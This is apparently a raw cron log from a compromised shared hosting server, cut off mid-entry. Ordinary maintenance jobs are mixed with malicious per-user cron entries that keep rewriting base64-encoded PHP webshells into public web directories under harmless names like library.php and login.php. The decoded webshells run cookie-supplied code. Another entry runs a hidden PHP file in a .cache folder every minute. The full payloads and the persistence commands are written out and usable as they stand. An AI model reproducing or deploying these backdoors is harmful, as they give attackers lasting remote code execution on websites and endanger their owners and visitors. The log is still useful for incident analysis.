Mar  2 12:23:02 medusa CROND[8238]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:24:02 medusa CROND[28697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:24:02 medusa CROND[28698]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:24:02 medusa CROND[28699]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:24:02 medusa CROND[28700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:24:02 medusa CROND[28701]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:24:02 medusa CROND[28702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:24:02 medusa CROND[28704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:24:02 medusa CROND[28706]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:24:02 medusa CROND[28708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:24:02 medusa CROND[28709]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:24:02 medusa CROND[28711]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:24:02 medusa CROND[28710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:24:02 medusa CROND[28718]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:25:01 medusa CROND[12745]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[12929]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:25:02 medusa CROND[12930]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:25:02 medusa CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:25:02 medusa CROND[12977]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[12978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[12984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:25:02 medusa CROND[12993]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:25:02 medusa CROND[12995]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:25:02 medusa CROND[12998]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:25:02 medusa CROND[13000]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:25:02 medusa CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[13004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:25:02 medusa CROND[13007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:25:02 medusa CROND[12980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:25:02 medusa CROND[13009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[12997]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:25:02 medusa CROND[12999]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[12994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:25:02 medusa CROND[13023]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:25:02 medusa CROND[13008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:25:02 medusa CROND[13024]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:25:02 medusa CROND[13028]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:26:01 medusa CROND[32120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:26:02 medusa CROND[32338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19